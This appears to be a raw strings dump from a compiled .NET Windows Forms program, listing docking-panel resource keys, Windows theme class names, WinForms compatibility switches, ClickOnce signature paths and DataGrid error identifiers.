DockPane_DockTo_NullContainer DockPane_DockTo_NullPrevPane DockPane_DockTo_SelfPrevPane DockPane_FloatWindow_InvalidValue DockPane_SetContentIndex_InvalidContent DockPane_SetContentIndex_InvalidIndex DockPane_SetDockState_InvalidState DockPanel_ActiveAutoHideContentChanged_Description DockPanel_ActiveAutoHideContent_InvalidValue DockPanel_ActiveContentChanged_Description DockPanel_ActiveDocumentChanged_Description DockPanel_ActivePaneChanged_Description DockPanel_AllowEndUserDocking_Description DockPanel_AllowEndUserNestedDocking_Description DockPanel_ContentAdded_Description DockPanel_ContentRemoved_Description DockPanel_DefaultFloatWindowSize_Description DockPanel_Description DockPanel_DockBottomPortion_Description DockPanel_DockLeftPortion_Description DockPanel_DockPanelSkin DockPanel_DockRightPortion_Description DockPanel_DockTopPortion_Description DockPanel_DocumentDragged_Description DockPanel_DocumentStyle_Description DockPanel_DocumentTabStripLocation DockPanel_LoadFromXml_AlreadyInitialized DockPanel_LoadFromXml_InvalidFormatVersion DockPanel_LoadFromXml_InvalidXmlFormat DockPanel_ParentForm_Invalid DockPanel_Persistor_XmlFileComment1 DockPanel_Persistor_XmlFileComment2 DockPanel_RightToLeftLayout_Description DockPanel_SetPaneIndex_InvalidIndex DockPanel_SetPaneIndex_InvalidPane DockPanel_ShowAutoHideContentOnHover_Description DockPanel_ShowCloseButtonOnEachTab_Description DockPanel_ShowDocumentIcon_Description DockPanel_SupportDeeplyNestedContent_Description FloatWindow_Constructor_NullDockPanel FloatWindow_SetPaneIndex_InvalidIndex FloatWindow_SetPaneIndex_InvalidPane IDockDragSource_DockTo_InvalidPanel 1b88-LdrpLoadDllInternal-R- NTDLL.DLL NTDLL.DLL TDLL TDLL 1b48-LdrpLoadDllInternal-R- NTDLL.DLL NTDLL.DLL TDLL TDLL C:\WINDOWS\resources\themes\Aero\Aero.msstyles NormalColor NormalSize globals sysmetrics AeroWizardStyle ButtonStyle ComboboxStyle ControlPanelStyle DatePickerStyle DragDropStyle EditStyle ExplorerBarStyle FlyoutStyle HeaderStyle ListboxStyle ListViewStyle MenuStyle ProgressStyle RebarStyle MediaStyle CommunicationsStyle ScrollbarStyle SpinStyle StatusStyle TabStyle TaskDialogStyle TextStyle ToolbarStyle TooltipStyle TrackBarStyle TreeViewStyle WindowStyle Link DarkMode_DarkTheme Link EmptyMarkup Button DarkMode_DarkTheme Button Explorer Button DarkMode_Explorer Button InfoPaneButton Button DarkMode_InfoPaneButton Button InfoPaneStatic Static Combobox DarkMode_DarkTheme Combobox Combobox DarkMode_CFD Combobox Edit DarkMode_DarkTheme Edit EditComposited Edit TaskBar Edit GenericPreviewPaneControl Edit Explorer Edit DarkMode_Explorer Edit DarkMode_CFD Edit DocumentsPreviewPaneControl Edit MusicPreviewPaneControl Edit PhotoPreviewPaneControl Edit CommonItemDialogPreviewPaneControl Edit DarkMode_CommonItemDialogPreviewPaneControl Edit ExplorerBar Header DarkMode_DarkTheme Header ItemsView Header ItemsViewAccessible Header DarkMode_ItemsView Header DarkMode_ItemsViewAccessible Header MonthCal DatePicker DropListControl Communications Combobox ListView DarkMode_DarkTheme ListView Explorer ListView Desktop ListView ItemsView ListView DarkMode_ItemsView ListView DarkMode_Explorer ListView ItemsView DarkMode ItemsView Explorer ItemsView DarkMode_Explorer ItemsView FileExplorerBannerContainer DarkMode FileExplorerBannerContainer ExplorerStatusBar DarkMode ExplorerStatusBar ShellStatusBarSeparator StartMenu ListView Progress Indeterminate Progress DarkMode_CopyEngine Progress DarkMode_CopyEngine_Indeterminate Progress DarkMode_DarkTheme Progress DarkMode_DarkTheme_Indeterminate Progress DarkMode_Explorer Progress Rebar DarkMode_DarkTheme Rebar BrowserTabBar Rebar AlternateRebar Rebar ITBarBase Rebar Communications Rebar Media Rebar Default Rebar ExplorerBar Rebar Help Rebar NavbarBase Rebar Navbar Rebar NavbarComposited Rebar DarkModeNavbar Rebar DarkModeNavbarComposited Rebar InactiveNavbar Rebar InactiveNavbarComposited Rebar DarkModeInactiveNavbar Rebar DarkModeInactiveNavbarComposited Rebar MaxInactiveNavbar Rebar MaxInactiveNavbarComposited Rebar DarkModeMaxInactiveNavbar Rebar DarkModeMaxInactiveNavbarComposited Rebar MaxNavbar Rebar MaxNavbarComposited Rebar DarkModeMaxNavbar Rebar DarkModeMaxNavbarComposited Rebar NavbarNonTopmost Rebar ControlPanel UISubsetFooter ControlPanel DarkMode_UISubsetFooter ControlPanel Explorer ControlPanel DarkMode_Explorer ControlPanel AeroWizard TaskDialog DarkMode_DarkTheme TaskDialog Explorer TaskDialog DarkMode_Explorer TaskDialog Listbox DarkMode_DarkTheme Listbox ScrollBar DarkMode_DarkTheme ScrollBar Explorer ScrollBar DarkMode_Explorer ScrollBar Spin DarkMode_DarkTheme Spin DarkMode_Explorer Spin StartPanel StartPanelPriv Status DarkMode_DarkTheme Status DarkMode_DarkTheme BrowserTab TaskBand TaskBar Toolbar AccessibleToolbar Toolbar DarkMode Toolbar DarkMode_DarkTheme Toolbar DarkMode_AccessibleToolbar Toolbar InfoPaneToolbar Toolbar DarkMode_InfoPaneToolbar Toolbar Alternate Toolbar Media Toolbar Communications Toolbar ListViewPopup LVPopup Toolbar LVPopupBottom Toolbar AddressBand ABComposited AddressBand DarkMode_ABComposited AddressBand ABRed AddressBand ABRedComposited AddressBand ABYellow AddressBand ABYellowComposited AddressBand ABGreen AddressBand ABGreenComposited AddressBand SearchBox DarkMode SearchBox MaxSearchBox SearchBox InactiveSearchBox SearchBox MaxInactiveSearchBox SearchBox SearchBoxComposited SearchBox DarkMode_SearchBoxComposited SearchBox MaxSearchBoxComposited SearchBox DarkMode_MaxSearchBoxComposited SearchBox InactiveSearchBoxComposited SearchBox DarkMode_InactiveSearchBoxComposited SearchBox MaxInactiveSearchBoxComposited SearchBox DarkMode_MaxInactiveSearchBoxComposited SearchBox HelpSearchBox SearchBoxEdit Edit SearchEditBox MaxSearchBoxEdit Edit InactiveSearchBoxEdit Edit MaxInactiveSearchBoxEdit Edit SearchBoxEditComposited Edit DarkMode_SearchBoxEditComposited Edit MaxSearchBoxEditComposited Edit DarkMode_MaxSearchBoxEditComposited Edit InactiveSearchBoxEditComposited Edit DarkMode_InactiveSearchBoxEditComposited Edit MaxInactiveSearchBoxEditComposited Edit DarkMode_MaxInactiveSearchBoxEditComposited Edit Help Edit BreadcrumbBar BreadcrumbBarComposited BreadcrumbBar InactiveBreadcrumbBar BreadcrumbBar InactiveBreadcrumbBarComposited BreadcrumbBar MaxBreadcrumbBar BreadcrumbBar MaxBreadcrumbBarComposited BreadcrumbBar MaxInactiveBreadcrumbBar BreadcrumbBar MaxInactiveBreadcrumbBarComposited BreadcrumbBar Toolbar GoComposited Toolbar MaxGo Toolbar MaxGoComposited Toolbar InactiveGo Toolbar InactiveGoComposited Toolbar MaxInactiveGo Toolbar MaxInactiveGoComposited Toolbar Toolbar BBComposited Toolbar DarkMode_BBComposited Toolbar InactiveBB Toolbar InactiveBBComposited Toolbar DarkMode_InactiveBBComposited Toolbar MaxInactiveBB Toolbar MaxInactiveBBComposited Toolbar DarkMode_MaxInactiveBBComposited Toolbar MaxBB Toolbar MaxBBComposited Toolbar DarkMode_MaxBBComposited Toolbar Address Edit AddressComposited Edit DarkMode_AddressComposited Edit Address ComboBox AddressComposited ComboBox DarkMode_AddressComposited ComboBox AutoComplete ComboBox DarkMode_AutoComplete ComboBox TaskBar ComboBox InactiveAddress ComboBox InactiveAddressComposited ComboBox DarkMode_InactiveAddressComposited ComboBox InactiveAddress Edit InactiveAddressComposited Edit DarkMode_InactiveAddressComposited Edit MaxAddress Edit MaxAddress ComboBox MaxAddressComposited Edit DarkMode_MaxAddressComposited Edit MaxAddressComposited ComboBox DarkMode_MaxAddressComposited ComboBox MaxInactiveAddress Edit MaxInactiveAddressComposited Edit DarkMode_MaxInactiveAddressComposited Edit MaxInactiveAddress ComboBox MaxInactiveAddressComposited ComboBox DarkMode_MaxInactiveAddressComposited ComboBox SearchButton Toolbar SearchButtonComposited Toolbar Tooltip DarkMode_DarkTheme Tooltip DarkMode_Explorer Tooltip TryHarder DarkMode TryHarder CommandModule DarkMode CommandModule Explorer CommandModule DarkMode_Explorer CommandModule CPLCommandModule CommandModule InfoBar PreviewPane DarkMode PreviewPane BarrierPage CopyClose DarkMode_Explorer CopyClose Pause DarkMode_Explorer Pause ExplorerNavPane DarkMode ExplorerNavPane ReadingPane DarkMode ReadingPane SearchHome TrackBar TreeView DarkMode_DarkTheme TreeView Explorer TreeView DarkMode_Explorer TreeView Window DWMWindow DWMTouch DWMPen CompositedWindow Window Menu DarkMode Menu CommonItemsDialog DarkMode CommonItemsDialog ImmersiveStart Menu LightMode_ImmersiveStart Menu DarkMode_ImmersiveStart Menu ImmersiveStartDark Menu Media Menu Communications Menu Placesbar Toolbar StartMenu MenuBand StartMenu Toolbar ProperTree DarkMode ProperTree ExplorerMenu MenuBand ExplorerMenu Toolbar TaskBand2 ScrollBar TaskBand2Composited8 ScrollBar TaskBand2 TaskBand2Vertical Taskband2 TaskBand2SmallIcons Taskband2 TaskBand2SmallIconsVertical Taskband2 TaskBand2Composited TaskBand2 TaskBand2CompositedSmallIcons TaskBand2 TaskBand2CompositedVertical TaskBand2 TaskBand2CompositedVertical8 TaskBand2 TaskBand2CompositedSmallIconsVertical TaskBand2 TaskBand2Light Taskband2 TaskBand2VerticalLight Taskband2 TaskBand2SmallIconsLight Taskband2 TaskBand2SmallIconsVerticalLight Taskband2 TaskBand2CompositedLight Taskband2 TaskBand2CompositedSmallIconsLight Taskband2 TaskBand2CompositedVertical8Light Taskband2 TaskbandExtendedUI TaskbandExtendedUILight TaskbandExtendedUI TaskBand2CompositedSmallIconsVertical8 TaskBand2 TaskBand2CompositedSmallIconsVertical8Light Taskband2 TrayNotifyFlyout TaskBar Rebar TaskBarHCBlack Rebar TaskBarHCWhite Rebar TaskBarLight Rebar TaskBarSmallIcons Rebar TaskBarSmallIconsHCBlack Rebar TaskBarSmallIconsHCWhite Rebar TaskBarSmallIconsLight Rebar TaskBar Toolbar TaskBarLight Toolbar TaskBarVert Toolbar TaskBarVertLight Toolbar TrayNotify Clock TrayNotify Toolbar TrayNotify UserTile TrayNotifyHoriz Button TrayNotifyHorizHCWhite Button TrayNotifyHoriz TrayNotify TrayNotifyHorizOpen Button TrayNotifyHorizOpenHCWhite Button TrayNotifyVert Button TrayNotifyVertHCWhite Button TrayNotifyVert TrayNotify TrayNotifyVertOpen Button TrayNotifyVertOpenHCWhite Button TextGlow Flyout DragDrop Navigation DarkMode Navigation TaskbarShowDesktop Static DarkMode_DarkTheme Static ChartView DarkMode ChartView DarkMode_Explorer ChartView TaskManager DarkMode TaskManager TextSelectionGripper TaskbarPearl timingfunction animations cpwebvw.css default.xml Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI gdiplus.dll mscoree.dll Kernel32.dll jjjjjj jjjjjj 3++S++ Win ! #!%"'#)$+%-&/'1(3)5*7+9,;-=.?/A0E1I2M3Q4U5Y6]7a8e9i:m;q}? Switch.UseLegacyAccessibilityFeatures Switch.UseLegacyAccessibilityFeatures.2 Switch.UseLegacyAccessibilityFeatures.3 Switch.UseLegacyAccessibilityFeatures.4 Switch.UseLegacyAccessibilityFeatures.5 CombinationOfAccessibilitySwitchesNotSupported Switch.System.Windows.Forms.UseLegacyToolTipDisplay KeyboardToolTipDisplayBehaviorRequiresAccessibilityImprovementsLevel3 .NETFramework Version Profile Switch.System.Windows.Forms.DontSupportReentrantFilterMessage Switch.System.Windows.Forms.DoNotSupportSelectAllShortcutInMultilineTextBox Switch.System.Windows.Forms.DoNotLoadLatestRichEditControl Switch.System.Windows.Forms.UseLegacyContextMenuStripSourceControlValue Switch.System.Windows.Forms.DomainUpDown.UseLegacyScrolling Switch.System.Windows.Forms.AllowUpdateChildControlIndexForTabControls Switch.System.Windows.Forms.UseLegacyImages Switch.System.Windows.Forms.EnableVisualStyleValidation Switch.System.Windows.Forms.DisconnectUiaProvidersOnWmDestroy TestSwitch.LocalAppContext.DisableCaching System.AppContext TryGetSwitch //*[@Id=" //*[@id=" //*[@ID=" manifestDom signer http://www.w3.org/2000/09/xmldsig# //ds:Signature StrongNameSignature ds:SignedInfo/ds:Reference ds:Transforms ds:Transform Algorithm http://www.w3.org/2001/10/xml-exc-c14n# http://www.w3.org/2000/09/xmldsig#enveloped-signature urn:schemas-microsoft-com:asm.v1 asm2 urn:schemas-microsoft-com:asm.v2 msrel http://schemas.microsoft.com/windows/rel/2005/reldata urn:mpeg:mpeg21:2003:01-REL-R-NS http://schemas.microsoft.com/windows/pki/2005/Authenticode asm:assembly/ds:Signature/ds:KeyInfo/msrel:RelData/r:license asm:assembly/asm:assemblyIdentity asm:assembly/ds:Signature/ds:KeyInfo/msrel:RelData/r:license/r:grant/as:ManifestInformation/as:assemblyIdentity asm:assembly/asm2:publisherIdentity name issuerKeyHash asm:assembly/ds:Signature/ds:KeyInfo/msrel:RelData/r:license/r:grant/as:ManifestInformation Hash asm:assembly/ds:Signature asm:assembly/ds:Signature/ds:KeyInfo/ds:KeyValue/ds:RSAKeyValue/ds:Modulus asm:assembly/ds:Signature/ds:KeyInfo/ds:KeyValue/ds:RSAKeyValue/ds:Exponent asm:assembly publisherIdentity publicKeyToken CN=dummy r:license/r:grant/as:ManifestInformation/as:assemblyIdentity r:license/r:grant/as:ManifestInformation Description r:license/r:grant/as:AuthenticodePublisher/as:X509SubjectName AuthenticodeSignature r:license/r:issuer Timestamp Object r:license/r:issuer/ds:Signature StrongNameKeyInfo strongNameKey value http://www.w3.org/2000/09/xmldsig#rsa-sha256 http://www.w3.org/2000/09/xmldsig#sha256 //ds:Signature[@Id="StrongNameSignature"] r:issuer/ds:Signature //r:issuer/ds:Signature 1.3.6.1.4.1.311.10.3.13 1.3.6.1.5.5.7.3.3 r:grant/as:AuthenticodePublisher/as:X509SubjectName r:grant/as:ManifestInformation ds:Object/as:Timestamp 1.2.840.113549.1.9.5 ds:SignatureValue 1.2.840.113549.1.9.4 2.16.840.1.101.3.4.2.1 1.3.14.3.2.26 1.3.6.1.5.5.7.3.8 ClickOnceTimeStampImprovementsOverride Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing State Microsoft r:license/r:issuer/ds:Signature/ds:SignatureValue pStore operations How did you get here? 2ec93463-b0c3-45e1-8364-327e96aea856 3ab20ac0-67e8-4512-8385-a487e35df3da NotSerializableType fileRef Name TypeLoadException System.Byte[] mscorlib NotSupported TypeLoadExceptionShort Comment TypeName MimeType ValueData System.Windows.Forms Version= version= InvalidResXNoType SystemRoot Microsoft.Net\Framework fileName typeName InvalidResXBasePathOperation type data metadata mimetype resheader version resmimetype reader writer assembly alias SerializationException InvocationException InvalidResXFile InvalidResXFileReaderWriterTypes comment InvalidResXResourceNoName root assemblyName ResXResourceWriterSaved System.Char space preserve ResX Debug the resource value provider text/microsoft-urt/psuedoml-serialized/base64 text/microsoft-urt/binary-serialized/base64 text/microsoft-urt/soap-serialized/base64 application/x-microsoft.net.object.binary.base64 application/x-microsoft.net.object.soap.base64 applacing DGRelationShpRowLayout Relationship row layout DGRelationShpRowPaint Relationship row painting DGRowPaint DataGrid Simple Row painting stuff DragDrop Debug OLEDragDrop support in Controls FlowLayout Debug flow layout ImeMode Debug IME Mode LayoutPerformance Tracks layout events which impact performance. LayoutSuspendResume Tracks SuspendLayout/ResumeLayout. LifetimeTracing Track lifetime events. This will cause objects to track the stack at creation and dispose. MSAA Debug Microsoft Active Accessibility MSOComponentManager Debug MSO Component Manager support RichLayout Debug layout in RichControls SetBounds Trace changes to control size/position. HANDLELEAK HandleCollector: Track Win32 Handle Leaks TRACECOLLECT HandleCollector: Trace HandleCollector operations PERFTRACK Debug performance critical sections. system.drawing System.Drawing.BitmapSuffixInSatelliteAssemblyAttribute System.Drawing.BitmapSuffixInSameAssemblyAttribute activationContext IApplicationTrustManager class element TrustManagerBadXml http\shell\open\command Internet TrustedSites UntrustedSites LocalIntranet MyComputer Software\Microsoft\.NETFramework\Security\TrustManager\PromptingLevel Enabled Disabled AuthenticodeRequired TrustManagerPromptUI_GlobeIcon TrustManagerPromptUI_Name TrustManagerPromptUI_From TrustManagerPromptUI_Publisher tableLayoutPanelOuter warningTextTableLayoutPanel pictureBoxWarning linkLblMoreInformation tableLayoutPanelQuestion lblQuestion pictureBoxQuestion tableLayoutPanelButtons btnInstall btnCancel tableLayoutPanelInfo lblName lblFrom lblPublisher linkLblName linkLblFromUrl linkLblPublisher lineLabel $this TrustManagerPromptUI RTL_False TrustManagerGlobe.ico TrustManagerGlobe.bmp TrustManagerPromptUI_Close TrustManagerPromptUI_DoNotInstall TrustManagerPromptUI_DoNotRun TrustManagerPromptUI_UnknownPublisher TrustManagerPromptUI_InstallTitle TrustManagerPromptUI_RunTitle TrustManagerPromptUI_Run TrustManagerPromptUI_BlockedApp TrustManagerPromptUI_NoPublisherInstallQuestion TrustManagerPromptUI_NoPublisheerOKSm.bmp TrustManagerWarningSm.bmp TrustManagerHighRiskSm.bmp 1.2.840.113549.1.1.1 1.2.840.10040.4.1 ECDsa SignData VerifyData Encrypt Decrypt System.Security.Cryptography.RSACng System.Security.Cryptography.DSACng System.Security.Cryptography.X509Certificates. CertificateExtensions Private Public System.Security.Cryptography.HashAlgorithmName System.Security.Cryptography.RSASignaturePadding System.Security.Cryptography.RSAEncryptionPadding Pkcs1 OaepSHA1 DataGridView_AccEditingControlAccName ToolStripMustSupplyItsOwnTextBox SpinnerAccessibleName PRINTDLG data is null user32.dll GetSystemMetricsForDpi SystemParametersInfoForDpi kernel32.dll AddDllDirectory wldp.dll WldpIsDynamicCodePolicyEnabled {F8B80ADA-2C44-48D0-89BE-5FF23C9CD875} EDIT MaxLength InvalidLowBoundArgumentEx SelectionLength InvalidArgument SelectionStart lineNumber start , Text: UIAutomationCore.dll UiaDisconnectProvider System.Windows.Forms.ApplicationConfigurationSection EnableWindowsFormsHighDpiAutoResizing true DpiAwareness system true/pm permonitor permonitorv2 false DisableDpiChangedMessageHandling CheckedListBox.DisableHighDpiImprovements ToolStrip.DisableHighDpiImprovements Form.DisableSinglePassScalingOfDpiForms DataGridView.DisableHighDpiImprovements AnchorLayout.DisableHighDpiImprovements MonthCalendar.DisableHighDpiImprovements AnchorLayout.EnableHighDpiImprovementsV2 DisableDpiChangedHighDpiImprovements AreDpiAwarenessContextsEqual GetThreadDpiAwarenessContext SetThreadDpiAwarenessContext GetWindowDpiAwarenessContext GetAwarenessFromDpiAwarenessContext {618736E0-3C3D-11CF-810C-00AA00389B71} {00020404-0000-0000-C000-000000000046} AccessibleObjectLiveRegionNotSupported comctl32.dll ImageList_WriteEx Software\{0}\{1}\{2} EnableSystemEventsThreadAffinityCompatibility DataDirectory file 1.0.0.0 SafeTopLevelCaptionFormat WindowsForms10 WindowsForms12 {0}\{1}\{2}\{3} RestartNotSupported ieexec.exe \ieexec.exe APP_LAUNCH_URL Win32WindowAlreadyCreated _subclassCheck AXMTAThread AXAddInvalidEvent MouseClick MouseDoubleClick BackColorChanged BackgroundImageChanged BackgroundImageLayoutChanged BindingContextChanged ContextMenuChanged CursorChanged EnabledChanged FontChanged ForeColorChanged RightToLeftChanged TextChanged Click DragEnter DragOver DragLeave GiveFeedback HelpRequested Paint QueryContinueDrag QueryAccessibilityHelp DoubleClick ImeModeChanged KeyDown KeyPress KeyUp Layout MouseDown MouseEnter MouseLeave MouseHover MouseMove MouseUp MouseWheel ChangeUICues StyleChanged SelectionStyle AXNohWnd AXOcxStateLoaded AXNoLicenseToUse UnableToInitComponent AXEditProperties ThreadMustBeSTA AXUnknownImage image AXFontUnitNotPoint font AxHTrace ActiveX handle tracing AxPropTrace ActiveX property tracing AxHost ActiveX host creation AxIgnoreTM ActiveX switch to ignore thread models AxAlwaysSave ActiveX to save all controls regardless of their IsDirty function return value AXNotImplemented AXInvalidArgument AXUnknownError AxInterfaceNotSupported {7C0FFAB3-CD84-11D0-949A-00A0C91110ED} {22d6f312-b0f6-11d0-94ab-0080c74c7e95} {a98a24c0-b06f-3684-8c12-c52ae341e0bc} {c932ba85-4374-101b-a56c-00aa003668dc} Default Font Appearance Behavior Data List Text Scale IsNull ListBindingBindProperty PropertyName ListBindingBindPropertyReadOnly Validating ListBindingFormatFailed dataSource listManager RelatedListManagerChild DataBindingCycle propBinding Item container BindingNavigatorCountItemFormat indingNavigatorMoveFirstItem indingNavigatorMovePreviousItem indingNavigatorMoveNextItem indingNavigatorMoveLastItem indingNavigatorPositionItem indingNavigatorCountItem indingNavigatorAddNewItem indingNavigatorDeleteItem indingNavigatorSeparator BindingNavigatorMoveFirstItemText BindingNavigatorMovePreviousItemText BindingNavigatorMoveNextItemText BindingNavigatorMoveLastItemText BindingNavigatorAddNewItemText BindingNavigatorDeleteItemText BindingNavigatorCountItemTip BindingNavigatorPositionItemTip BindingNavigatorPositionAccessibleName BindingNavigator.MoveFirst.bmp BindingNavigator.MovePrevious.bmp BindingNavigator.MoveNext.bmp BindingNavigator.MoveLast.bmp BindingNavigator.AddNew.bmp BindingNavigator.Delete.bmp dataBinding DESC ASC BindingSourceRecursionDetected BindingSourceInstanceError DataSourceDataMemberPropNotFound BindingSourceBadSortString BindingSourceSortStringPropertyNotInIBindingList BindingSourceRemoveCurrentNotAllowed BindingSourceRemoveCurrentNoCurrentItem BindingSourceItemTypeMismatchOnAdd BindingSourceItemTypeIsValueType BindingSourceBindingListWrapperAddToReadOnlyList BindingSourceBindingListWrapperNeedToSetAllowNew (null) BindingSourceBindingListWrapperNeedAParameterlessConstructor NoAllowNewOnReadOnlyList OperationRequiresIBindingList OperationRequiresIBindingListView ListBindingBindField dataMember BUTTON UseVisualStyleBackColor ImageIndex , CheckState: LBC_GETCHECKSTATE LBC_SETCHECKSTATE CheckedListBoxInvalidSelectionMode index UnicodeText System.String retryTimes retryDelay ClipboardSecurityException format audioBytes audioStream filePaths CollectionEmptyException Clipboard_InvalidPath text ClipboardOperationFailed , Color: DisplayIndex ColumnHeaderBadDisplayIndex ColumnHeader headerAutoResize ColumnHeader: Text: destinationType NoDefaultConstructor ComboBoxAutoCompleteModeOnlyNoneAllowed ComboBoxAutoCompleteSourceOnlyListItemsAllowed COMBOBOX DropDownWidth DropDownHeight ItemHeight MaxDropDownItems InvalidBoundArgument SelectedIndex ComboBoxSortWithDataSource DataSourceLocksItems startIndex ComboBoxItemOverflow ComboBoxDataSourceWithSort AutoCompleteFailure AutoCompleteFailureListItems length , Items.Count: CommandIdNotAllocated CantShowModalOnNonInteractive commdlg_help ComponentManagerBroker.{0}.{1:X} component ComponentManagerProxyOutOfMemory ContainerControlInvalidAutoScaleDimensions AutoValidate abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ CannotActivateControl validationConstraints RightToLeft control ContextMenuInvalidParent WM_GETCONTROLNAME WM_GETCONTROLTYPE AXTopLevelSource TransparentBackColorNotAllowed LoadDLLError IllegalCrossThreadCall #32770 TabIndex ThreadNoLongerValid CircularOwner ClosingWhileCreatingHandle Dispose bitmap targetBounds asyncResult ControlBadAsyncResult skipValue MouseZ Magellan MSWHEEL MSWHEEL_ROLLMSG ControlIsKeyLockedNumCapsScrollLockKeysSupportedOnly ErrorNoMarshalingThread _ThreadCallbackMessage DragDropRegFailed TopLevelNotAllowedIfActiveX TopLevelParentedControl ControlAccessibileObjectInvalid RichControlLresult BindingsCollectionAdd1 BindingsCollectionAdd2 BindingsCollectionDup binding BindingsCollectionForeign graphics rectangle width height pixelsBetweenDots CreateParams {' ', ' ', 0x , 0x ListManagerSetDataSource ListManagerNoValue CurrencyManagerCantAddNew ListManagerBadPosition ListManagerEmptyList DataBindingPushDataException CursorData CursorResourceId InvalidGDIHandle ObjectDisposed CursorNonSerializableHandle stream InvalidPictureType picture Cursor InvalidPictureFormat CursorCannotCovertToBytes [Cursor: CursorCannotCovertToString hsplit.cur vsplit.cur nomove2d.cur nomoveh.cur nomovev.cur east.cur ne.cur north.cur nw.cur se.cur south.cur sw.cur west.cur hand.cur RegisterCFFailed Format DeviceIndependentBitmap Bitmap EnhancedMetafile MetaFilePict SymbolicLink DataInterchangeFormat TaggedImageFileFormat OEMText Palette PenData RiffAudio WaveAudio FileDrop Locale HTML Format Rich Text Format PersistentObject DataGridEmptyColor AlternatingBackColor DataGridTransparentAlternatingBackColorNotAllowed DataGridTransparentBackColorNotAllowed DataGridTransparentCaptionBackColorNotAllowed DataGridSettingCurrentCellNotGood DataGridPushedIncorrectValueIntoColumn DataGridErrorMessageBoxCaption SelectionBackColor DataGridTransparentSelectionBackColorNotAllowed SelectionForeColor DataGridCaptionBackButtonToolTip DataGridCaptionDetailsButtonToolTip BadDataSourceForComplexBinding DataGridSetListManager DataGridSetSelectIndex GridLineColor HeaderBackColor DataGridTransparentHeaderBackColorNotAllowed BackgroundColor HeaderFont HeaderForeColor LinkColor DataGridTransparentParentRowsBackColorNotAllowed DataGridColumnWidth PreferredColumnWidth DataGridRowRowHeight rowIndex columnIndex DataGridExceptionInPaint DataGridBeginInit DataGridUnbound rowNumber Caption BackColor Caption ForeColor DataGridCaption.backarrow_bidi.bmp DataGridCaption.backarrow.bmp DataGridCaption.Details.bmp DataGridCell {RowNumber = , ColumnNumber = DataGridNullText DataGridColumnNoPropertyDescriptor DataGridColumnStyle.CheckValidDataSource(DataSource value), value == null DataGridColumnUnbound DataGridColumnListManagerPosition rowNum DataGridColumnStyleDuplicateMappingName column DataGridDefaultColumnCollectionChanged columns DataGridColumnCollectionMissing AutoColumnResize (-1) Parent Rows BackColor BackBrush Parent Rows ForeColor propName DataGridParentRows.RightArrow.bmp DataGridParentRows.LeftArrow.bmp dataGrid DataGridRowRowNumber DataGridRow.star.bmp DataGridRow.pencil.bmp DataGridRow.error.bmp DataGridRow.left.bmp DataGridRow.right.bmp DataGridDefaultTableSet AllowSorting DataGridTableStyleTransparentAlternatingBackColorNotAllowed BackColor DataGridTableStyleTransparentBackColorNotAllowed ForeColor GridLineStyle DataGridTableStyleTransparentHeaderBackColorNotAllowed PrefferedRowHeight DataGridTableStyleTransparentSelectionBackColorNotAllowed tableName DataGridTableStyleDuplicateMappingName table DataGridTableStyleCollectionAddedParentedTableStyle tables DataGridTableCollectionMissingTable Parse Ending Edit OnCommit completed without Exception. Begining Edit, rowNum : edit bounds: tooltips_class32 toolTipString iconBounds DataGridToolTipEmptyIcon DataGridView_AccHorizontalScrollBarAccName DataGridView_AccHorizontalScrollBarAccNameLevel5 DataGridView_AccVerticalScrollBarAccName DataGridView_AccVerticalScrollBarAccNameLevel5 DataGridView_CannotAutoSizeColumnsInvisibleColumnHeaders DataGridView_CannotAutoFillFrozenColumns DataGridView_CannotAutoSizeRowsInvisibleRowHeader DataGridView_EmptyColor DataGridView_TransparentColor DataGridView_CustomCellBorderStyleInvalid CellBorderStyle ColumnCount DataGridView_CannotSetColumnCountOnDataBoundDataGridView ColumnHeadersBorderStyle ColumnHeadersHeight InvalidHighBoundArgumentEx DataGridView_ColumnHeadersCannotBeInvisible DataGridView_CellChangeCannotBeCommittedOrAborted DataGridView_CellDoesNotBelongToDataGridView DataGridView_CurrentCellCannotBeInvisible DataGridView_AccEditingPanelAccName DataGridView_FirstDisplayedCellCannotBeAHeaderOrSharedCell DataGridView_FirstDisplayedCellCannotBeInvisible DataGridView_FirstDisplayedScrollingColumnCannotBeInvisible DataGridView_FirstDisplayedScrollingColumnCannotBeFrozen DataGridView_NoRoomForDisplayedColumns DataGridView_FrozenColumnsPreventFirstDisplayedScrollingColumn DataGridView_FirstDisplayedScrollingRowCannotBeInvisible DataGridView_FirstDisplayedScrollingRowCannotBeFrozen DataGridView_NoRoomForDisplayedRows DataGridView_FrozenRowsPreventFirstDisplayedScrollingRow GridColor HorizontalScrollingOffset DataGridView_CommitFailedCannotCompleteOperation RowCount DataGridView_CannotSetRowCountOnDataBoundDataGridView RowHeadersBorderStyle DataGridView_RowHeadersCannotBeInvisible RowHeadersWidth DataGridView_RowAlreadyBelongsToDataGridView DataGridView_SelectionModeAndSortModeClash DataGridViewBeginInit DataGridView_SelectionModeReset cellAddress DataGridView_CannotAlterAutoFillColumnParameter DataGridView_NeedColumnAutoSizingCriteria autoSizeColumnMode DataGridView_CannotAutoSizeInvisibleColumnHeader autoSizeRowMode DataGridView_CannotAutoSizeRowInvisibleRowHeader DataGridView_NeedAutoSizingCriteria rowHeadersWidthSizeMode autoSizeRowsMode rowsCount rowIndexStart DataGridView_NoCurrentCell DataGridView_BeginEditNotReentrant System.Windows.Forms.IDataGridViewEditingCell System.Windows.Forms.IDataGridViewEditingControl System.Windows.Forms.Control DataGridView_InvalidEditingControl columnIndexException rowIndexException DataGridView_AColumnHasNoCellTemplate DataGridView_CannotAddFrozenColumn DataGridView_CannotAddNonFrozenColumn DataGridView_CannotMoveNonFrozenColumn DataGridView_CannotMoveFrozenColumn DataGridView_CannotAddFrozenRow DataGridView_CannotAddNonFrozenRow DataGridView_InvalidDataGridViewElementSt idViewBand_MinimumHeightSmallerThanOne MinimumWidth DataGridViewBand_MinimumWidthSmallerThanOne DataGridView_InvalidPropertySetOnSharedRow ReadOnly Selected DataGridViewBand_CannotSelect Height Width DataGridViewBand_NewRowCannotBeInvisible DataGridViewBand { Index= cellStyle DataGridViewButtonCell { ColumnIndex= , RowIndex= DataGridViewTypeColumn_WrongCellTemplateType System.Windows.Forms.DataGridViewButtonCell DataGridViewColumn_CellTemplateRequired DataGridViewButtonColumn { Name= , Index= DataGridViewRow.error.bmp DataGridView_InvalidOperationOnSharedCell 